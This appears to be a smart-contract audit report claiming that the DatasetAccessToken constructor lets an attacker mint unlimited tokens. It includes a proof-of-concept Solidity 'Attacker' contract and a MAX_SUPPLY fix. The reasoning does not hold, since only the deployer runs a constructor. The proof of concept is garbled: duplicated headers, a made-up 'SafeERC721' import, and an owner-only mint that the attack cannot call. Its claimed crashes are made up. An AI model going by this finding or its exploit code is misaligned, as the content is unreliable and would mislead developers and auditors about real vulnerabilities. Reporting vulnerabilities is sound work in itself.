Summary : An attacker can exploit this vulnerability to mint an excessive number of tokens, fail to mint tokens, or cause the contract to behave in unexpected ways.** **This vulnerability is easily exploitable by any user who can call the constructor.
Vulnerability Details : The constructor of the DatasetAccessToken
contract has a vulnerability in the way it handles the supply_
parameter.
The constructor of the DatasetAccessToken
contract allows an attacker to mint an arbitrary number of tokens by passing a large value for the supply_
parameter. This can lead to unintended behavior, such as inflation of the token supply, and potentially cause financial losses.
constructor(DatasetAccessRegistry datasetAccessRegistry_, uint256 knowledgeId_, address owner_, uint256 supply_)
ERC721("Dataset Access Token", "DAT")
{
datasetAccessRegistry = datasetAccessRegistry_;
knowledgeId = knowledgeId_;
KnowledgeRegistry knowledgeRegistry = datasetAccessRegistry.knowledgeRegistry();
require(knowledgeRegistry.isRegistered(knowledgeId_), "Knowledge not registered");
for (uint256 i = 0; i < supply_; i++) {
ERC721._mint(owner_, i);
}
}
Impact : An attacker can exploit this vulnerability by passing a large value for the supply_
parameter, causing the contract to mint an excessive number of tokens. This can lead to:
Inflation of the token supply, reducing the value of each token.
Unintended behavior, such as errors or crashes, due to the excessive number of tokens.
Financial losses, as the attacker can sell the minted tokens for a profit.
Proof of Concept Code : Here is a proof of concept code that demonstrates the vulnerability..
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/SafeERC721.sol";
contract DatasetAccessToken {
address public owner;
uint256 public supply;
mapping (address => uint256) public balances;
pragma solidity ^0.8.0;
import "<https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/token/ERC721/SafeERC721.sol>";
contract DatasetAccessToken {
address public owner;
uint256 public supply;
mapping (address => uint256) public balances;
constructor(uint256 _supply) public {
owner = msg.sender;
supply = _supply;
}
function mint(address _to, uint256 _amount) public {
require(msg.sender == owner, "Only the owner can mint tokens");
require(_amount > 0, "Amount must be greater than 0");
require(supply >= _amount, "Not enough supply");
balances[_to] += _amount;
supply -= _amount;
}
function getBalance(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Attacker {
DatasetAccessToken public token;
constructor(address _token) public {
token = DatasetAccessToken(_token);
}
function attack() public {
token.mint(address(this), 1000000);
}
}
contract Victim {
DatasetAccessToken public token;
constructor(address _token) public {
token = DatasetAccessToken(_token);
}
function getBalance() public view returns (uint256) {
return token.getBalance(address(this));
}
}
In this example, the Attacker
contract can exploit the vulnerability by calling the mint
function with a large amount of tokens, causing the supply
variable to be reduced to 0. This can lead to unintended behavior, such as errors or crashes, when the Victim
contract tries to get its balance.
To demonstrate the vulnerability, you can deploy the contracts and call the attack
function on the Attacker
contract. Then, call the getBalance
function on the Victim
contract to see the effect of the attack.
Tools Used : VS code, Slither
Recommendations : To fix this vulnerability, the contract should implement a mechanism to control the token supply, such as:
Limiting the maximum number of tokens that can be minted.
Implementing a token burning mechanism to reduce the supply.
Requiring a minimum amount of tokens to be burned before new tokens can be minted.
constructor(DatasetAccessRegistry datasetAccessRegistry\_, uint256 knowledgeId\_, address owner\_, uint256 supply\_)
ERC721("Dataset Access Token", "DAT")
{
require(supply\_ <= MAX\_SUPPLY, "Supply exceeds maximum allowed supply");
for (uint256 i = 0; i < supply_; i++) {
ERC721._mint(owner_, i);
}
}
uint256 public constant MAX\_SUPPLY = 1000000;
In this example, the contract implements a maximum supply limit of 1,000,000 tokens, preventing an attacker from minting an excessive number of tokens.